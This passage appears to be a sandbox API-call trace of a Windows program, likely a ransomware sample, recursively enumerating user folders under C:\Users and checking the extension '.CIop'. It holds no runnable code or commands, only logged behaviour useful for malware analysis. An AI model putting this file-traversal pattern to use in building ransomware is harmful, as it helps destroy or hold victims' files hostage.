lpString1="Videos") returned="Videos" [0118.084] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.084] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.084] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.084] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.085] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0118.085] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0118.085] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.085] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0118.085] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.085] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.085] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.085] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.085] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.085] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.085] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.085] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.085] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.085] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0118.085] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0118.085] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0118.085] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0118.085] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0118.085] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0118.085] SetErrorMode (uMode=0x1) returned 0x1 [0118.085] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0118.085] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0118.085] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default User\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0118.085] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0118.085] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0118.086] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0118.086] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0118.086] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.086] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.086] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.086] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0118.086] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0118.086] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0118.086] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0118.086] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0118.086] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0118.086] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0118.086] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0118.086] SetErrorMode (uMode=0x1) returned 0x1 [0118.086] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0118.086] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0118.086] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default User\\Videos\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0118.086] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0118.086] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0118.086] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0118.086] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.086] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.086] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.086] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.086] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.086] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0118.086] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0118.086] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0118.087] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0118.087] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.087] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.087] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.087] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.087] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.087] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.087] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.087] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.087] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.087] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0118.087] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0118.087] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0118.087] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0118.087] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0118.087] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0118.087] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.087] SetErrorMode (uMode=0x1) returned 0x1 [0118.087] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.087] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.087] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Public\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.087] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0118.087] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0118.087] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0118.087] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0118.087] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.087] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.087] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.087] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.087] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.087] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.087] lstrlenW (lpString="desktop.ini") returned 11 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.088] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.088] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.088] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.088] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0118.088] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0118.088] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0118.088] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0118.088] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.088] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.088] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0118.088] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0118.088] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.088] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.088] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0118.088] SetErrorMode (uMode=0x1) returned 0x1 [0118.088] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0118.088] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0118.088] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\AccountPictures\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0118.088] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0118.088] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0118.088] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0118.088] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.088] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.088] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.089] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.089] lstrlenW (lpString="desktop.ini") returned 11 [0118.089] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.089] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.089] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.089] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0118.089] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0118.089] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0118.089] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0118.089] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0118.089] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.089] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.089] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.089] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.089] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.089] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.089] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.089] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0118.089] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0118.089] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.089] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.089] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0118.089] SetErrorMode (uMode=0x1) returned 0x1 [0118.089] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0118.089] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0118.089] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Desktop\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0118.089] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0118.090] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0118.090] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0118.090] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0118.090] lstrlenW (lpString="Desktop") returned 7 [0118.090] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.090] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0118.090] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0118.090] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0118.090] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0118.090] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0118.090] lstrlenW (lpString="Desktop") returned 7 [0118.090] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.090] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.090] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.090] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0118.090] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0118.090] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.090] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.090] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0118.090] SetErrorMode (uMode=0x1) returned 0x1 [0118.090] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0118.090] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0118.090] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Documents\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0118.090] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0118.090] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67db78 [0118.107] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0118.107] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0118.107] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.107] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.107] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.107] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.107] lstrlenW (lpString="desktop.ini") returned 11 [0118.107] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.107] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.107] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.107] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.107] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0118.108] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0118.108] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0118.108] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0118.108] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dd78 [0118.108] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0118.108] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0118.108] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.109] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.109] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.109] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0118.109] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0118.109] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0118.109] SetErrorMode (uMode=0x1) returned 0x1 [0118.109] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0118.109] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0118.109] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.109] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0118.109] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0118.109] lstrlenW (lpString=".CIop") returned 5 [0118.109] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.109] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.109] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.109] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0118.109] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.109] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0118.109] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0118.109] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.109] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.109] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.109] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.109] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0118.109] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0118.109] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My 